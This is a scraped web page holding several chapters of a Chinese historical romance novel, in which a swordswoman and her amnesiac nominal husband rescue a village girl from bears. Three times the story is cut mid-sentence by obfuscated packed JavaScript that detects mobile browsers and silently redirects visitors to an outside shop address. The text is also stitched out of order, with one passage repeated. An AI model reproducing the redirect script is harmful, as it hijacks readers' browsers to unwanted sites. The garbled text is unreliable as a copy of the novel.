许妙仪扭头看向萧韫,与他目光相交。她声音很轻柔:“萧韫,我觉得你应该走入民间,去真切地看看那些百姓,去看他们的哭与笑,这样你才能找到你的动力,有了动力,你就不会再觉得痛苦了。” 萧韫看着许妙仪,眸光轻晃。良久,他轻声道:“多谢夫人。” 许妙仪翻了个白眼,没好气儿道:“如果真谢我,就别再把我当做你夫人。”说着,她背过身去。 萧韫也没再说话,一片静谧之中,许妙仪后知后觉,他们方才做了一件很“亲密”的事——谈心。 她忽然有些感慨。如果萧韫没有失忆,他们会是互相忌惮的,也就不会这样谈心的。 …… 翌日一早,两人是被吵醒的。外间,哭声和吵嚷声混做一团。 许妙仪有一种不好的预感,连忙披衣下床。推开门,只见院中站了十余个人,大多都是壮年男子,个个面色愁苦。 人群中间,王氏正瘫坐在地,哭得声嘶力竭。郑牛在一旁扶着她,神情也好不到哪里去。 许妙仪忙走近几步,出声问:“这是怎么了?” 王氏见了许妙仪,登时止住了哭声,起身朝许妙仪扑来。 24.同床 许妙仪闻言,连忙按上剑柄,警惕地看向萧韫:“你想干什么?!” “夫人这么紧张做什么?”萧韫轻笑道,“某不过是想提醒夫人,先把衣服换了,再梳梳头发。” 许妙仪扯出一个假笑:“那我谢谢你啊。” 萧韫眉尾轻挑,颔首道:“夫人不必与我客气,这是应该的。” 许妙仪无语地瞥了瞥嘴,道:“我换衣服,你先出去。” “是,遵夫人命。”萧韫笑着扭头出去了。 待萧韫一出门,许妙仪就迫不及待地将门上了栓——这样好的机会,她当然要好好把握了。 一想到萧韫在外头的冷风中傻等,她就忍不住扬起了唇角。 她慢吞吞地换了衣服,又悠悠地散下发髻,一下一下地梳头。 时间随着烛焰的跳跃流逝,许妙仪渐渐觉得有些不对劲——萧韫怎么没催过她一声呢? 心下生疑,她起身走到门边,拨开门栓,将门拉开一条门缝,探出脑袋往外瞧。 庭院中空无一人。 许妙仪更疑惑了:莫非是去和郑家人聊天了? “夫人是在找我吗?”萧韫的声音忽然在背后响起。 许妙仪吓了一跳,连忙转过身去。 萧韫那张俊俏的脸骤然进入她眼帘,并且离得很近,几乎与她呼吸交缠。他漆黑的眸直勾勾地盯着她,其中光芒却是温柔的,像春日里幽绿的湖水,叫人止不住地想沉沦。 熟悉的草木香气盈了满鼻,更是似乎要将她淹没。 他伸手擦过她头侧,将门关上,却并没有收回来,就这样将她困于他的怀抱之间。 空气,仿佛停滞了。 许妙仪的心脏骤然收紧,正要开口骂萧韫,不料手却被另一只冰凉的大手握住。 她愣住了。 “夫人,现在可消气了?”萧韫的声音很轻柔。 许妙仪心脏的异样越来越明显,一双秀眉拧得更紧,不解而恼怒地看向萧韫。 萧韫眼睫微颤:“我能感觉到,其实夫人一直在生我的气,所以……才想趁我失忆将我甩开。” 许妙仪:“……你想多了。” 说罢,她用力挣脱萧韫的手,转身拉开另一扇门:“该洗漱了。” 萧韫望着许妙仪离去的背影,叹了口气,垂睫掩下眸中失落,抬步跟了上去。 洗漱完毕,两人一前一后地往房中走。 “阿双可还想罚我?”萧韫问。 “你先去睡,我要在外头吹吹风。”许妙仪淡淡道。 萧韫低叹一声,道:“外头冷,夫人早点回来……为夫会给你暖好床的。” 许妙仪:“……” 萧韫回了房,许妙仪则裹紧衣服,一个人在庭院中来回踱步。 她如此这般,并非是有什么心事,而是害怕萧韫对她动手动脚,所以打算等萧韫睡着了再回去。睡着了的萧韫她大可放心,毕竟她前世在军营中也不是没跟男人一起睡过。 夜风凛冽,许妙仪被冻得连牙关都在打颤。 好在没多久,房中的灯火就熄灭了。 许妙仪回到房中,刚关上门,便听萧韫揶揄的声音响起:“夫人终于舍得回来了?” “你没睡?”许妙仪有些意外。 “夫人没在身侧,我怎么睡得着?”萧韫轻笑道。 许妙仪:“……” “别出去了,小心得风寒。夫人放心,你不允许,我是不会对夫人做什么的。”萧韫这次敛起了笑意,颇为正经。 许妙仪犹豫了一下,还是走到床边。她把剑放在床榻中间,宣布道:“这是楚河汉界,我们谁都不能越过去,否则就天打五雷轰。” “好,都听阿双的。” 许妙仪躺上床,很快就沮丧地发现这被子实在太小,不得不一点点地朝着萧韫挪动。 “阿双,你再靠近一点,可就要越界了。”萧韫忽然开口提醒,语带几分戏谑。 许妙仪有些羞恼,生硬地开口:“你过来点。” 萧韫很听话,两人的肩头相抵。如此一来,不但没有越过界线,还能把整个身体藏在被子下。 “好了,就这样,不要动,也不许说话,睡觉。”许妙仪快速说着,闭上双眼。 黑暗中,彼此的呼吸声清晰可闻。 许妙仪睁开双眼,心下有些烦闷。大概是那股若有若无的草木香作祟,非但叫她生不出睡意来,还让她浑身不自觉地紧绷。 “睡不着吗?”萧韫忽然开口。 许妙仪轻轻“嗯”了一声。 半晌,萧韫再度开口道:“大凡生于天地之间者,皆曰命。其万物死,皆曰折;人死,曰鬼;此五代之所不变也……” 许妙仪听出来这是《礼记》中的话,觉得萧韫脑子有问题:“你这是做什么?” 萧韫笑道:“帮阿双入睡啊。” 许妙仪:“……” 虽然无语,但她也没再反驳,就静静地听着萧韫背书。很神奇,听着他柔缓平静的声音,她竟然真的慢慢生出了倦意…… 翌日,两人是被吵醒的—— “我不去!我不明白,为什么你们非得让我嫁人!”这是郑嫣的声音,悲愤不已。 “嫣儿!”王氏恨铁不成钢,“你如今怎么愈发不听话了?!哪有姑娘大了是不嫁人的?!” 郑嫣的语气愈发激动:“我!我就不嫁人!我要开医馆,一辈子行医救人,这难道不比在家中相夫教子有意义吗?!” 许妙仪猛然惊醒,正准备坐起身来,却忽然发现萧韫的手正搭在她腰间。 她双眼倏然睁大,顿觉有异样感自腰间蔓延至全身——他们……竟这样搂着睡了一夜?! “夫人醒了?”萧韫的声音响起,带着几分惺忪的磁性。 许妙仪狠狠一巴掌拍上萧韫的手背,恼怒道:“谁允许你搂着我的?” 萧韫撑着头,看许妙仪的眼中盛满了无辜,唇角却是微微勾着的:“昨夜是夫人一直喊冷,主动往我身上贴的。” “你!”许妙仪气结,随后狠狠一拂袖,披衣下床,同时竖耳留意着外间的动静。 “女子嫁人,这是自古以来就有的道理!” “自古就有的东西,一定是对的吗?!”郑嫣寸步不让。 随后,“啪”的一声清脆巴掌响炸开。 沉默半晌,郑嫣带着哭腔的声音响起:“好,你这样逼我,那我还不如死了算了!” 听到这句话时,许妙仪推开房门,但见微白的天幕下,绿裙子的少女踉踉跄跄地跑了出去。 许妙仪蹙眉走到庭院中,问王氏:“这是怎么回事?” 王氏叹了口气,道:“嫣儿今年十六了,本就是该嫁人的年纪了。我们忙活着给她议亲,她却死活不同意。”说着,她看向许妙仪,似乎是想寻得认同,“你说世上哪有这样的道理呢?” 许妙仪十分不赞同这种说法,开口便道:“成亲并不是……” 然而她话音未落,就被不知何时到来的萧韫出声打断了:“你们不去追郑小娘子吗?就不担心她做傻事?” 许妙仪眉头一蹙,扭头瞪向萧韫。萧韫朝她眨了眨眼,她一时气恼,并不想接收他的信号,冷哼一声,又别过头去。 王氏摇了摇头,道:“她不会的。她那性子我清楚,很快就会回来了。” “如此便好。”萧韫道。 王氏又道:“天色还早,去阳泉的车还不成得很呢,二位可再回去睡睡。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151226|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许妙仪冷脸回到房中,一关上门,便质问萧韫:“你也和他们一样,觉得女人就应该相夫教子是吗?”她的声音中明显压抑着怒气。 萧韫愣了一下,随即失笑道:“某在阿双的心中竟是那样一个愚昧的人吗?” “那你为何打断我?” “这毕竟是人家的家务事,我们是外人,不好随意开口。”萧韫解释道,“再说了,他们形成这样的思想,并非一日之功,你一时的劝说是起不了作用的,反而还可能加深他们的家庭矛盾。” 许妙仪逐渐冷静下来,不得不承认萧韫说的确实有道理。 半晌,她低声开口:“她有着悬壶济世的远大理想,却要被迫嫁给不爱的人,困在相夫教子的牢笼里,日复一日地蹉跎此生……我没有办法眼睁睁看着这种事情发生。” “我知道,我也不愿看见这样的事情发生。萧韫轻声道。 许妙仪闻言,眸光微动,忍不住抬眼看了萧韫一眼。 萧韫眉宇间带着淡淡的忧虑,语气却松快:“还有时间,我们可以再想想办法。” 许妙仪深吸一口气,点了点头。 约两刻钟后,外间忽然响起一道男声,十足慌张:“牛兄!牛嫂!不好了,不好了!你家嫣儿跑到东山上去了!” 正在院中摘菜的王氏面色“唰”地一白,整个人都僵住了。 郑牛也大惊失色,急忙放下磨刀的活计,快步上前抓住那男人的胳膊,不可置信般地问道:“你说什么?!你别是看错了!” “不好!”男人笃定道,“她身上穿着条绿罗裙,全村只有你们家嫣儿才有的!” 王氏忽然冲到男人身边,抓住男人另一条胳膊,颤声质问道:“那你们为什么不拦住嫣儿啊?!” “哎哟!”男人面露难色,“我瞧见的时候,她只剩那么一丁点小了!我、我哪敢追上去啊!” 许妙仪出门便见了这样一副场景,连忙走近问道:“不敢追?这东山里是有什么东西吗?” 男人点头如捣蒜:“是啊是啊!这东山里有头熊,据说有两个人那么高!之前有不少猎户都被它吃了!” “我的嫣儿啊!”王氏凄厉地哭喊了一声,跪倒在地。 郑牛连忙去扶她,眼圈竟也泛了红。 许妙仪又上前一步,还未开口,道:“二位放心,我会帮忙将郑小娘子找回来……” 萧韫闻言,连忙拉住了许妙仪,低声道:“阿双,你的伤还未好透……” 许妙仪瞪了他一眼,用力拂开他的手,继续对郑家夫妻道:“不过我有一个条件。” 郑家夫妻面露喜色,连忙问道:“什么条件?” “如今,你们也瞧见逼她嫁人的后果了,望你们以后不要这样做了。” 两人连忙点头,王氏哭道:“只要嫣儿能活着回来,让我做什么我都愿意!” 许妙仪冷冷看向萧韫:“萧兄,为了全你的大计,你还是留在家里吧。” 萧韫扯出一个苦笑:“我的话还未说完,我原本想说,你留在家里,我去找人。” 许妙仪眯起眼,一脸不相信:“你能这么好心?” “阿双为何总把我想得那样差?”萧韫反问。 许妙仪一怔,心中似乎有一小块地方塌陷了。半晌,她低低说了一句:“抱歉。” 郑牛抄上刀斧,带着萧许两人一起往东山进发了。途中遇见两个村民,一听说此事,竟也大义凛然地加入了队伍。 东山鲜有人至,故而哪怕半点人迹都会十分明显。一行人沿着脚印而行,很快就远远瞧见了郑嫣的身影—— 她浑身哆嗦,而她的身后,赫然立着一头棕熊。它的体格威猛如小山,缓缓朝郑嫣探出的双爪竟比她脑袋还大! 25.东山 郑嫣在走上东山的时候,是真的存了死志。 她本以为自己很幸福,爹娘不像其他老一辈那样重男轻女,都待她很好。阿爹打猎还钱供她念书,阿娘教她医术。 直到她十五岁及笄,一切都变了。爹娘开始为她四处奔走、挑选亲家。可是那些男子,她一个都不喜欢。 爹娘成天变着法儿地劝她,更是明里暗里地各种她安排与人相亲。王氏让她去张家送核桃,就是为了给她与那张家郎君创造“机会”。 终于,她在沉默中爆发了。她和阿娘大吵一架,阿娘第一次打了她。 悲愤交加之下,她走上了东山。她想,死了就死了吧,死了也比活成一个傀儡好。 但当她被巨大的阴影当头笼罩时,她后悔了。 寒意自脚底窜升而起,迅速蔓延到四肢百骸。巨大的恐惧之下,她仿佛失去了说话和行动的能力,就那么木在了原地。 倏地,她被人从身侧搂住,紧接着她整个人便被斜着抱了起来。 几乎是萧韫将郑嫣抱开的同时,远处郑牛、许妙仪以及另两个壮汉手中的箭矢脱弓而出,直直刺入棕熊的身体。 棕熊痛苦地吼叫起来,惊飞无数林鸟。 郑牛三人哪里见过这情形,面色煞白,双腿已经有些发软了。 许妙仪瞥了他们一眼,叮嘱道:“你们先躲起来。”说罢,她便快步朝那棕熊走去,同时再度弯弓搭箭。 此时的棕熊被疼痛激怒,发狂般地朝着距离最近的萧韫和郑嫣扑去,其势令脚下的大地都微微震颤。 萧韫连忙转身,只见棕熊距他只剩几步之遥! 千钧一发之际,棕熊的身形忽然一滞——是许妙仪的箭矢狠狠扎进了它的双腿。 趁着这短暂空隙,萧韫一手推开郑嫣,一手甩出几枚飞镖,飞镖迅猛而精准地扎入棕熊双目。 随后,萧韫快步朝与郑嫣相反的方向而去,同时不断高声叫喊以吸引棕熊注意。 棕熊怒吼一声,快速朝萧韫扑来。萧韫在一株大树前停下,就在棕熊的双爪即将触碰到他的前一刻,他灵活地一个扭身,棕熊便“砰”的一声撞到了大树上。 趁着棕熊一时发蒙,萧韫快速跳上棕熊的后背,一手用力抓住它的颈部皮毛,一手拔剑,想将其一剑封喉。 不料棕熊猛然人立起身,随即转身往树上靠——竟是想将萧韫活活压死在树上! 萧韫想要松手跳开,却已是来不及,他的背已然贴上了树!然而想象中的挤压始终没有到来,他后知后觉地发现,棕熊已经僵硬在了原地。 抬眼看去,只见不远处的许妙仪正缓缓放下右手。 很快,棕熊的躯体有了往一旁倾倒的趋势,萧韫连忙跳开。他落地的同时,棕熊的身体亦轰然倒地。 只见棕熊的腹部斜插着一把斧头,斧下裂着一道豁口,豁口中不断往外淌着血,甚至还可以看见几段肠子。 许妙仪快步朝萧韫走来,同时扫视他全身,见他只肩头处有几道血痕,眉宇间的忧虑这才消了几分。 “阿双,我没事,不用担心我。”萧韫笑道。 许妙仪拧眉:“谁担心你了?”说罢,她冷哼一声,转身往回走。 萧韫轻笑一声,抬步跟上了许妙仪。 还没走出几步,许妙仪忽然又顿住了步子,低声开口:“你是个好人,之前是我错怪你了,对不起。” 其实此前萧韫的自证,并没有完全消解掉他在她心中趋利避害的形象。 直到今日,他主动请缨,从棕熊口下夺人。他说:“我虽可能不如阿双速度快,但力气比较大,成功率会更高。” 要知道,这是一件风险很高的事情。稍有差池,就可能陷入“赔了夫人又折兵”的境地。 许妙仪明白,如今萧韫失忆了,根本不记得那些利益的弯弯绕绕。他这样做,只能说明他是真心想要救人…… 思绪未止,许妙仪的视野中忽然探入萧韫的脸。他歪头看着她,笑盈盈的:“这样大的误会,实在是令某伤心不已,夫人不打算补偿某一下吗?” 许妙仪:“……” 这时,原本躲在一旁观战的几人都围了过来,两个汉子对萧许两人赞不绝口,郑家父女更是扑通一声就跪下了:“二位英雄,请受我和小女一拜!二位的大恩大德,我们感激不尽!” 许妙仪和萧韫连忙各自伸手扶住一人,客气回应。 “既然救到了人,就快些回去吧,这山中保不齐还有其他的东西呢。”一个汉子道。 一行人往山下走,许妙仪因不想被萧韫盯着,故而走在了最后面。 走着走着,她忽然察觉到头顶传来一阵寒意。 她还没来得及抬眼去看,就见萧韫先一步转过头来。他双眼蓦然睁大,脱口唤道:“阿双小心!!!” 紧接着,许妙仪便被他一把扯过,揽在了怀中。 一阵天旋地转,身前人发出一声闷哼,紧接着有浓烈的血腥气窜入鼻腔。 许妙仪暗道不妙,连忙从萧韫怀中挣脱,抽剑的同时抬眼看去。 只见萧韫的背后正僵立着一头棕熊,其体格比之前那头小了许多,竟是只与萧韫差不多。视线向下,棕熊的腹部连着一柄血红的剑刃,而剑刃的另一端,正握在萧韫手中。 这时,萧韫的身形晃了晃,向前倾倒。 许妙仪连忙收了剑,伸手去接萧韫。她跪坐在地,他就伏在她的肩头。她无比清楚地看见,他背上有五道巨大的狰狞爪痕,鲜血涌流如注,触目惊心。 那一瞬间,她觉得心脏都被一只无形的手攥住了。 “郎君!!!”郑牛的呼号声响起,几人连忙围了过来。 许妙仪没有听他们在说什么,试探着轻唤:“姓萧的?萧韫?” 没有回答,只有棕熊倒地发出的响动。 许妙仪的眼眶竟有些湿润了,拔高声音又喊了一遍:“萧韫?!” 还是没有回应。 那一刻,许妙仪心中翻涌起滔天巨浪。愧疚、伤心、担忧、责怪……多种情绪混在一起,形成了难以名状的一片。 她知道,她应该去探萧韫的鼻息。 可是,她不敢。她怕他真的死了。 她就这么僵硬在原地,只有眸中的泪光在晃动。 旁边几人神情复杂,面面相觑,竟也不知该说什么。 最终,还是郑嫣去探了萧韫的鼻息,又为他检验了背上的伤口,道:“娘子放心,郎君还活着。背上的伤也没有伤及脏器,只要能止住血,问题就不大。” 许妙仪如梦初醒,想起郑嫣会医术,连忙抓住了她的手臂,激动道:“你要救他!” 郑嫣点点头:“放心,郎君是我的救命恩人,我一定会尽全力救他。” “哎哟,要不先抬下山去吧,在这里咋救啊?”一个汉子道。 郑嫣道:“不行,现在挪动他,只会加速他血液的流失。” 汉子面露难色:“这……万一再引来其他猛兽可怎么办啊?” 此时许妙仪也渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168174|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐冷静下来,深吸一口气,道:“你们先回去吧。郑娘子,你只需把急救方法告诉我。” 郑嫣目露几分犹豫,但又很快压了下去,坚定道:“不行!你们是为了救我才来这是非之地的,我若在你们有难时弃你们于不顾,那简直不配为人了。” “是啊!”郑牛连忙附和,“二位于我们有大恩,我们怎能过河拆桥?” 另两个汉子交换了一番眼神,最终道:“那我们也不走了,反正来都来了。” 许妙仪心下一暖,哽咽道:“多谢。” 郑嫣道:“郎君伤口面积大,恐怕还需药物辅佐。” “对了,我有金创药!”许妙仪颤抖着手去掏袖子里的药瓶。 郑嫣接过一瞧,摇头道:“这个恐怕没用。” 许妙仪心下一凉。 郑嫣转头对郑牛道:“阿爹,你快回去把这儿的情况告诉娘亲,让她备药给你带过来。” “哎哎!”郑牛应下,邀上一个汉子,一同往山下去了。 留下的三人分工合作。 郑嫣脱下外衣,将其扭成一条,用力按压萧韫的伤口。 许妙仪则和另一个汉子合力,先将熊的尸体搬到了远处,又拾了许多枯木干木,围绕着郑萧两人堆成一个大圈。 火折子带出的一点火焰落到枯木上,以燎原之势蔓延开来,当即就形成了一个火圈,将几人与外界隔开。 “野兽大多怕火,如此一来,他们便不敢靠近。”许妙仪道。 另一边,郑嫣还在按压萧韫的伤口,整个布条几乎都被染成了血色。 许妙仪看得倒吸一口凉气。但她知道,这样确实是有用的,前世在战场上,她和战友们也没少用过这招。 想了想,她在萧韫头前坐下,示意郑嫣暂停一会儿。接着,她小心翼翼地把萧韫的头放到自己大腿上。 她想,这样他或许会舒服一点。 萧韫渗着细密的汗珠,额头青筋鼓起。倏地,他睁开了双眼,竟是硬生生疼醒了。 许妙仪连忙握住萧韫的手,安慰道:“我在。” 萧韫唇角缓缓勾起了一个弧度,随后用力回握住了许妙仪。没多久,他又晕了过去,握着许妙仪的手却是一直没有放开。 约小半刻钟后,郑嫣停下动作,道:“止了一大半了。” 恰这时郑牛和那壮汉也回来了,两人举着火把,还带着药品和简易担架。 郑嫣替萧韫上了药,待他不再流血了,才招呼他们将萧韫抬上去。 为了方便行事,许妙仪本想将手从萧韫手中抽出来,不料他握得死紧死紧的。 “你们的感情真好。”郑嫣忽然感慨道。 许妙仪没有回答,只勉强笑了一下。 她心中的愧疚在此刻达到了顶峰。 她早就应该认真和他说清楚的,否则他也不至于为了她这个“夫人”,豁出性命。 下山的路上,郑牛安慰道:“娘子别担心,我媳妇儿叫人去请我岳丈了,我岳丈那医术可是顶顶的好。” “是啊,这位郎君看面相就是有福之人,必定会逢凶化吉。” 一行人顺利地下了山,回到郑家,郑牛口中的那位医术顶好的岳丈已经在等待了。 许妙仪一根根地掰开了萧韫的手指,让众人将他抬进屋里,自己则留在了外头。 她不想看,更不敢看。 她枯坐在庭中的树下,有些失神。 忽地,门口一个鬼鬼祟祟的影子引起了她的注意。 26.往事 “谁在那里鬼鬼祟祟的?!”许妙仪厉声喝道,右手按上剑柄。 那人影哆嗦了一下,随后又挺直了身子,信步走上前来。这是一个身材微胖的中年妇人,圆脸上堆着讨喜的笑,道:“是老妇唐突了,娘子莫恼、莫恼。” “李婶?你来做什么?”郑牛不知何时走了过来,问那妇人。 李婶道:“听说贵府来了两位客人,能从熊口救人,神勇非凡,我心中好生敬佩,故特前来膜拜一番。” 许妙仪蹙眉,只觉这人莫名其妙,必定不怀好意,故而没搭理她。 谁知这李婶似乎不会察言观色,仍继续说着:“听说这位娘子也会武艺,实在叫我佩服不已啊……不知娘子年方几何,家住何方,成婚几载,可有子嗣啊?” 许妙仪不耐烦地蹙起了眉,郑牛也听不下去了,一把拉过李婶,低声道:“你看不出来人家心情不好吗?还在这儿问东问西的。” 李婶“嗐”了一声,道:“我只是随便打听打听,有什么要紧的?” “你……!”郑牛面色有些难看,压着气儿道,“你到底想干嘛?” 李婶一脸意味深长:“这小娘子生得貌美,许多小伙子托我打听呢。毕竟她夫君都那样了,保不齐就要……” “你什么意思?!”许妙仪耳力聪健,其实一直能听到他们的窃窃私语。如今乍闻此言,气得当即拔剑指向李婶面门,厉声道,“说这种晦气话,信不信我割了你的舌头?!” 那剑尖距李婶的眼珠不过寸余,她顿时大惊失色,手脚都不知道往哪儿摆了。 郑牛见状,连忙劝道:“李婶这人就是脑子不好使,说话不中听,娘子别跟他一般见识。” 许妙仪深吸几口气,头脑渐渐冷静下来。她狠狠瞪了李婶一眼,“唰”的一声收了剑,重新坐下。 李婶落荒而逃,郑牛又安慰了许妙仪好一阵。许妙仪始终郁郁寡欢,他没了办法,只能留她独处。 一个时辰后,房门终于开了,王老、王氏并郑嫣走了出来。 许妙仪双眼一亮,急忙迎了上去,询问情况。 王老叹了口气,道:“其实郎君这伤本算不得多严重,但他此前的伤还未好透,如今新症旧伤一起来了,怕是……有些恼火。老朽已经尽力了,就看他自己能不能挺过来了。” 许妙仪只觉晴天霹雳,大脑霎时一片空白,整个人都僵在了原地。 在场几人均目露不忍,王氏拍了拍许妙仪的肩以示安慰。 王老正要抬步,却又忽然顿住了,补充道:“对了,老朽观郎君颅内有淤血,便替他扎了针,他若醒来,想必记忆会恢复大半的。” 许妙仪努力打起精神,对着王老深深地行了一个揖礼:“多谢。”说罢,她快步朝房里走去。 浓烈的血腥气和药味儿中,萧韫伏在床上,头侧着。他的面色比在河边时还要苍白几分,唇却是格外艳红,想是被他忍痛时咬破的。 此时的他,只由黑白红三种颜色构成,像是滴了血的水墨画,于苍然冷意中生出一抹凄艳。 许妙仪的心头猛然颤了一下。她盯了他看了半晌,然后搬了把椅子,在床头坐下。她不说话,也不动作,就这么默默守着他。 不知过了多久,背后忽有脚步声响起,随后是郑嫣关切的声音:“娘子,你也快一天没吃东西了,多少吃些吧。” “多谢。”许妙仪勉力扯出一个笑,伸手接过碗筷。 她整颗心都在萧韫身上,连饭菜是什么滋味儿都不清楚。 郑嫣张了张唇,欲言又止,最终只是叹了口气,退了出去。 天色不知何时暗了下来。 许妙仪抬眼去看窗外,恰见漆黑天幕划过一颗流星。 她知道,看见流星是要许愿的,虽然大多时候都不灵验,但试试总归是没错的,万一呢。 此前在边地,她也见过许多次流星。那时她许的愿望大多是“战争早日结束”“天下太平”之类的。 因为她总觉得,个人的爱恨情仇是不应该被拿来叨扰天神的。 她只破例过三次。一次是母亲病危,一次是兄长濒死,一次是挚友被掳。 而今,她破了第四次例。 她双手合十,虔诚地许愿:萧韫别死。 * 萧韫做了一个很长的梦。 梦里,他跪在坚硬的石板上,低头便可以看见自己生满水泡的小手。 抬眼,面前是父亲高大威武的身躯。他穿着玄色的锦袍,袍子上以金线绣着山月日月的纹样。它们俯瞰着他,似乎要将他吞没。 “还是背不出来?!”父亲低沉的声音在头顶响起,饱含着恨铁不成钢的情绪,“你这样对得起你兄长的死,对得起陛下的厚望吗?!” 接着,又有无数道回音响起—— “你对得起你兄长的死,对得起陛下的厚望吗?!” “你对得起你兄长的死,对得起陛下的厚望吗?!” …… 它们密密麻麻地交织在他耳畔,形成了一张无形的网,将他困缚其中。 然而就在这时,突然有一滴温热落在了他手上。 眼前的画面瞬间破碎开来,嘈杂的回音也消失了,取而代之的是女子哽咽的声音:“不管怎么说,你是为了救我才陷入险境……你若死了,我便把这条命赔给你!” 生死相随。那是萧韫从未听过的话。他的心跳都停了一瞬。 他勉力睁开双眼,径直撞入了许妙仪盈盈的泪光。 这似乎是他从未见过的,叫他不禁怔住了。 “你终于醒了!”许妙仪破涕为笑,惊喜不已。 “阿双,怎么哭了?”萧韫扯出一个淡淡的笑,声音虚弱,“是担心我吗?” “谁哭了?!”许妙仪连忙擦了擦眼泪,嘴硬道,“这是打哈欠打出来的!” 萧韫笑而不语,缓缓伸手朝许妙仪的脸探来。 不知怎的,许妙仪竟也没有抵触,任由他抚上她的脸颊,又轻轻为她拭去眼角的泪。 “别哭。”他声音温柔,双眸更如两泓春水。 在那一刻,许妙仪的心跳莫名漏了一拍。她连忙拔开萧韫的手,有些慌乱地起身往门外走,道:“我去找王姐给你看看。” 听闻萧韫醒转的消息,郑家人雀跃不已,全都来探望了。王氏为萧韫把了脉,笑道:“郎君现在已无大碍了!卧床休息一段时间即可。”说罢,她又吩咐郑牛,“去把厨房里煮着的米粥和参汤给你们端来。” 吃食很快端来。许妙仪知道趴着不好进食,便将萧韫扶坐起来,让他倚在自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174125|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩头。 郑家人见状,都很知趣地离开了。 许妙仪一勺一勺地喂萧韫吃东西。她起初不觉得有异,但渐渐的,她心中便生出一种荒谬感。 真是想不到,她有一天能这么温柔地对他。 无独有偶,萧韫也觉得不太习惯,总觉得哪里怪怪的。 吃过东西,许妙仪便扶着萧韫趴了回去。 萧韫犹豫了一会儿,终于还是开口道:“阿双,我刚刚想起了一些东西。” 许妙仪倍感意外,连忙问:“想起什么了?” “我想起来,我的‘韫’字,是‘石韫玉而山晖’的‘韫’。父亲为我取这个名字,是希望我内敛含蓄。” “那你父亲的希望恐怕是要落空了。”许妙仪哂道。 萧韫轻笑一声,继续说着:“我还想起来了很多很多。我父亲当年是雍州都督,我的母亲是当时的梁国公、也就是当今陛下的胞妹。厉帝不仁,父亲便跟着梁国公揭竿而起。后来大梁建国,我父亲以从龙之功被封平阳侯。” “在战争中,我的兄长死了,父亲便把家族的希望全盘寄托到了我身上。从小他就教育我,要对得起陛下的重视,要对得起兄长用命换来的荣耀,更要对得起天下百姓的供养……”说着说着,萧韫的语气便不自觉惆怅起来。 “所以我一直压力很大,大到甚至让我想逃离。可是,我也深知,在其位谋其职,我若一走了之,便是对天下人的不负责……” 许妙仪听罢,竟是先笑了一下,揶揄道:“真是没想到,你这个人的责任感居然这么强。” 萧韫叹道:“我此前在夫人心中的形象,究竟是有多差?” 许妙仪没答,转而道:“当权者,确实应以大任为重。但这江山又不是你一个人来扛,你不用给自己太大压力。否则,你还没能为国做几件好事,便要郁郁而终了。那样,岂不是更对不起天下百姓了?” “哪怕再足智多谋、武艺超群,我们终究不是神,而是人。只要是人,总是会感到疲惫的,这无可厚非。” 闻言,萧韫眸光微闪。他看了许妙仪一眼,又很快垂下眼睫。良久,他轻笑道:“夫人说得甚是在理,听卿一席话,胜读十年书。” 许妙仪翻了个白眼,没好气儿道:“如果真谢我,就别再把我当做你夫人。” 萧韫笑容不减,假装没听见。 许妙仪又问:“你还想起其他的什么了吗?” “没有。”萧韫摇头。 “行吧。”许妙仪叹了口气,起身往外,“我去洗漱。” 走出门,她方后知后觉地意识到,他们方才做了一件很“亲密”的事——谈心。 她忽然有些感慨。萧韫没有失忆时,他们互相忌惮,是绝不会这样推心置腹的…… 这时,郑嫣的声音忽然响起:“娘子!” 许妙仪循声看去,见郑嫣正快步朝她走来,双手交握,眼神中隐隐透出一丝紧张与忐忑。 在许妙仪身侧站定,郑嫣便问道:“你们打算什么时候走?” “看他的恢复情况吧……但最多也只会停留两日。”许妙仪答。 因为再晚,恐怕就来不及救镖局里的那些百姓了。 “我……”郑嫣抿了抿唇,语气踌躇,“我有事想同你们商量。” 27.归去 “什么事?”许妙仪柔声问,“你尽管说,只要我能做到,一定尽力。” “我想和你们一同去阳泉。” 许妙仪颇感惊讶:“为何?” “因为这儿的天地实在太小,不能供我实现胸中抱负。所以我想离开,去青州找我舅舅,他在青州开了间小医馆。”昏暗的光线下,少女眸中闪着希冀的光亮。 顿了顿,她语意一转,隐隐有些窘迫:“可是我们这儿没有直接去青州的车,要到阳泉转车。我从未独自出过远门,也对阳泉不熟,不知如何乘车。所以我想和你们一道去阳泉,再请你们送我去车行……你放心,我爹娘已经同意了!” 许妙仪很是欣慰,当即同意了:“自然可以。” 郑嫣面露喜色,道谢连连。 与此同时,房内的萧韫正陷入深深的纠结。 夫人要帮他擦身子,他自然不会不愿意。只是不知为何,他总觉得不大好意思…… 